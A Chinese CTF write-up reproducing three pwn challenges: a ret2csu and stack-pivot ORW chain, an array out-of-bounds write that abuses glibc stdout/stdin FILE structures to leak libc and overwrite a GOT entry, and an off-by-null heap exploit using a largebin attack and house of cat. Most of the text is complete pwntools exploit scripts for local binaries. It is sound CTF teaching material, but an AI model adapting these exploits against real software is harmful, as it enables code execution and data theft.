前言
笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。
silent
考点: 栈溢出 + ret2csu + 栈迁移
保护: 开了 Full RELRO 和 NX, 禁掉了 execve/execveat 系统调用
漏洞分析
一个裸的栈溢出, 但是没有输出函数可以泄漏 libc. 并且由于 Full RELRO 也无法 ret2dl
这里就得考虑去寻找一个 libc 地址然后利用特殊的 gadget 去构造一个 write 函数.最后配合 csu 进行利用.
这里我并没有找到可用的 gadget, 但是在网上看别人找到了一条:
0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
而在 libc_csu_init 中是可以很方便的控制 rbp 和 ebx 的:
而 bss 段上的 stdin/stdout 里面存放的就是 _IO_2_1_stdin_/_IO_2_1_stdout_, 其就是一个 libc 地址. 这里选择修改 stdout, 当然修改 stdin 也行, 注意 stdin 不会影响 read 函数, 因为 read 是直接走的系统调用.
漏洞利用
先利用 magic_gadget 配合 csu 去修改 stdout 为 write 函数. 然后再利用 csu 调用 write 函数泄漏 libc, 后面就是栈迁移 orw 了.
exp 如下: libc版本: 2.27-3ubuntu1.5_amd64
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
bss = 0x0000000000601040
stdout = 0x0000000000601020
pop_rdi = 0x0000000000400963 # pop rdi ; ret
pop_rbp = 0x0000000000400788 # pop rbp ; ret
csu_f = 0x000000000040095A
csu_e = 0x0000000000400940
read_got = 0x0000000000600FE0
magic_gadget = 0x00000000004007e8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
#write_offset = libc.sym.write - libc.sym._IO_2_1_stdout_
write_offset = 0xFFFFFFFFFFD23990
stdout_offset = 0x2dc670
leave_ret = 0x00000000004008FC
libc_pop_rdi = 0x000000000002164f # pop rdi ; ret
libc_pop_rsi = 0x0000000000023a6a # pop rsi ; ret
libc_pop_rdx = 0x0000000000001b96 # pop rdx ; ret
libc_pop_rax = 0x000000000001b500 # pop rax ; ret
libc_syscall = 0x000000000013FF57 # syscall ; ret
#gdb.attach(io, "b *0x00000000004008F7")
def csu(call_addr, rdi, rsi, rdx, ret_addr, rbx, rbp):
payload = p64(0) + p64(1)
payload += p64(call_addr) + p64(rdi) + p64(rsi) + p64(rdx)
payload += p64(csu_e) + p64(0)
payload += p64(rbx) + p64(rbp) + p64(0)*4 + p64(ret_addr)
return payload
pay = b'A'*0x48
pay += p64(csu_f) + csu(read_got, 0, bss+0x400, 0x300, magic_gadget, write_offset, stdout+0x3d)
pay += p64(pop_rbp) + p64(bss+0x400-0x8) + p64(leave_ret)
sl(pay)
#pause()
pay = p64(csu_f) + csu(stdout, 1, read_got, 8, csu_f, 0, 0)
pay += csu(read_got, 0, bss+0x400+0x300, 0x400, leave_ret, 0, bss+0x400+0x300-0x8)
print("pay_len:", hex(len(pay)))
sleep(0.01)
sl(pay)
#pause()
read_addr = addr8(8)
libc.address = read_addr - libc.sym.read
libc_pop_rdi += libc.address
libc_pop_rsi += libc.address
libc_pop_rdx += libc.address
libc_pop_rax += libc.address
libc_syscall += libc.address
info("read_addr", read_addr)
info("libc_base", libc.address)
#pause()
pay = p64(pop_rdi) + p64(bss+0x400+0x400) + p64(libc_pop_rsi) + p64(0) + p64(libc_pop_rax) + p64(2) + p64(libc_syscall)
pay += p64(pop_rdi) + p64(3) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(libc_pop_rsi) + p64(bss+0x400+0x400) + p64(libc_pop_rdx) + p64(0x20) + p64(libc.sym.write)
#pay += p64(csu_f) + one_csu(stdout, 1, bss+0x400+0x400, 0x20, pop_rdi+1)
print("pay_len:", hex(len(pay)))
pay = pay.ljust(0x100, b'\x00') + b'./flag.txt\x00'
sleep(0.01)
sl(pay)
#pause()
sh()
atuo_coffee_sale_machine
考点: 数组越界 + stdout泄漏libc + stdin任意写 (但看其他人的wp好像是UAF?难道这个是非预期)
保护: 开了 Canary 和 NX
漏洞分析
漏洞在 change_default() 函数中:
可以看到这里用的是 || 而不是 &&, 所以很明显的数组越界了.
漏洞利用
先利用数据越界修改 _IO_2_1_stdout_ 进行 libc 泄漏.
然后再修改 _IO_2_1_stdin_ 进行任意地址写修改 atoi@got 为 system
最后输入 sh 即可 getshell
这里之所以能够利用 _IO_2_1_stdin_ 进行任意写是因为在 sell 函数中存在 getchar():
所以我感觉不是非预期, 不然其他地方全是 read, 为啥这里偏偏来个 getchar 呢? getchar 每次会从输入缓冲区读一个字节数据即将_IO_read_ptr
加一,当_IO_read_ptr
等于_IO_read_end
的时候便会调用read
读数据到_IO_buf_base
地址中.
对于 _IO_2_1_stdin_ 进行任意写需要满足以下条件:
-
_IO_buf_base
=target_start_addr
-
_IO_buf_end
=target_end_addr
-
_IO_read_ptr
=_IO_read_end
-
_flags & ~4
-
_fileno
= 0
exp 如下: libc版本: GLIBC 2.31-0ubuntu9.9
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'>>>'
def go_admin():
sla(menu, b'4421')
sla(b'password', b'just pwn it')
def change(idx, num, data):
sla(menu, b'2')
sla(menu, byte(idx))
sla(menu, byte(num))
sda(b'content', data)
go_admin()
pay = p64(0xfabd1800) + p64(0)*3 + b'\x00'
change(1, -31, pay)
rut(b'\n')
rc(8)
libc.address = addr8(8) - 0x1ec980
info("libc_base", libc.address)
pay = p64(0xfbad208b&(~4)) + p64(0)*6 + p64(0x0000000000406068) + p64(0x0000000000406068+8)
change(1, -29, pay)
sla(menu, b'3')
sla(menu, b'1')
sla(b'buy', b'1')
sla(b'Y/N', b'N'+p64(libc.sym.system))
sla(menu, b'sh')
sla(menu, b'sh')
#debug()
sh()
babyheap
考点: off by null
保护全开
比较简单, 限制了堆块的大小在[0x400,0x500]之间, 然后有增删查改的功能.
白给的 off by null, 然后题目给 libc 是 2.38 的, 但是我懒得配环境, 所以用到 2.35 的, 但是区别不大.
漏洞利用
off by null 打前向 unlink 构造堆重叠, 然后UAF打largebin_attack, 最后直接 house of cat
注: 这里 one_gadget 因为 rbp 的问题打不通, 具体可自行调试. 所以最后直接打的 orw
exp 如下: GLIBC 2.35-0ubuntu3.
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'>> '
def add(size, data):
sla(menu, b'1')
sla(b'size', byte(size))
sda(b'name', data)
def edit(idx, size, data):
sla(menu, b'2')
sla(b'index', byte(idx))
sla(b'size', byte(size))
sda(b'name', data)
def show(idx):
sla(menu, b'3')
sla(b'index', byte(idx))
def dele(idx):
sla(menu, b'4')
sla(b'index', byte(idx))
#gdb.attach(io, 'b *$rebase(0x00000000000019AE)')
rut(b"easier\n")
heap_base = int(rut(b"\n"), 16) - 0x2a0
info("heap_base", heap_base)
pay = p64(0) + p64(0xc71+0x410) + p64(heap_base+0x2b0+0x10)*2 + b'\n'
add(0x428, pay) # 0
add(0x428, b'A\n') # 1
add(0x408, b'A\n') # 2
add(0x418, b'B\n') # 3
add(0x4F8, b'C\n') # 4
add(0x428, b'D\n') # 5
dele(3)
add(0x418, b'A'*0x410+p64(0xc70+0x410))
dele(4)
add(0x418, b'A\n')
show(1)
rut(b'\n')
libc_base = addr8(6) - 0x219ce0
_IO_list_all = libc_base + 0x21a680
info("libc_base", libc_base)
info("_IO_list_all", _IO_list_all)
add(0x428, b'X\n') # 6
add(0x408, b'\nX') # 7
add(0x418, b'E\n') # 8
add(0x4F8, b'X\n') # 9
dele(6)
add(0x438, b'X\n') # 10
dele(8)
pay = p64(libc_base+0x21a0d0)*2 + p64(heap_base+0x6e0) + p64(_IO_list_all - 0x20)
edit(1, 0x30, pay+b'\n')
add(0x4F8, b'X\n')
"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
0xebcf5 execve("/bin/sh", r10, rdx)
0xebcf8 execve("/bin/sh", rsi, rdx)
"""
ones = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
ones = [libc_base+i for i in ones]
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011f497 # pop rdx ; pop r12 ; ret
# house of cat
_IO_wfile_jumps = libc_base + 0x2160c0
pay = p64(0)*2 + p64(1) + p64(2)
pay = pay.ljust(0x90, b'\x00') + p64(heap_base+0xf20+0x100)
pay = pay.ljust(0xb0, b'\x00') + p64(1)
pay = pay.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps+0x30)
pay = pay.ljust(0x108, b'\x00') + p64(1) + p64(heap_base+0xf20+0x280)
pay = pay.ljust(0x1d0, b'\x00') + p64(heap_base+0xf20+0x200)
pay = pay.ljust(0x208, b'\x00') + p64(libc_base+libc.sym.setcontext+61)
pay = pay.ljust(0x240, b'\x00')
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.read)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0xf20+0x340) + p64(pop_rdx) + p64(0x20) + p64(0) + p64(libc_base+libc.sym.write)
pay = pay.ljust(0x270+0x68, b'\x00') + p64(heap_base+0xf20+0x400) + p64(0) + p64(0)*2
pay = pay.ljust(0x270+0xa0, b'\x00') + p64(heap_base+0xf20+0x250) + p64(libc_base+libc.sym.open)
pay = pay.ljust(0x3F0, b'\x00') + p64(0x7478742e67616c66);
print("pay len:", hex(len(pay)))
edit(3, len(pay)+2, pay+b'\n')
sla(menu, b'5')
#pause()
#debug()
sh()